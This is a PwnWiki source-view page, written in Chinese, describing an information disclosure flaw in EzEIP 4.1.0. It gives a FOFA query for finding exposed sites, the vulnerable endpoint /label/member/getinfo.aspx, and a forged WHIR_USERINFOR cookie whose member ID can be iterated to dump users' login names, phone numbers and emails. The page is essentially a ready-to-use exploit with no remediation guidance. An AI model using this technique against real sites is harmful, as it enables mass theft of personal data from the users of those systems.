View source for EzEIP 4.1.0 信息洩露漏洞

From PwnWiki

← EzEIP 4.1.0 信息洩露漏洞

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

==FOFA==
<pre>
"ezEIP"
</pre>

==漏洞利用==
漏洞Url為:
<pre>
/label/member/getinfo.aspx
</pre>

訪問時添加Cookie（通過遍歷獲取用戶的登錄名電話郵箱等信息）:
<pre>
WHIR_USERINFOR=whir_mem_member_pid=1;
</pre>

==參考==
https://short.pwnwiki.org/?c=NqyKZe

Return to EzEIP 4.1.0 信息洩露漏洞.

Retrieved from "https://pwnwiki.com/index.php?title=EzEIP_4.1.0_信息洩露漏洞"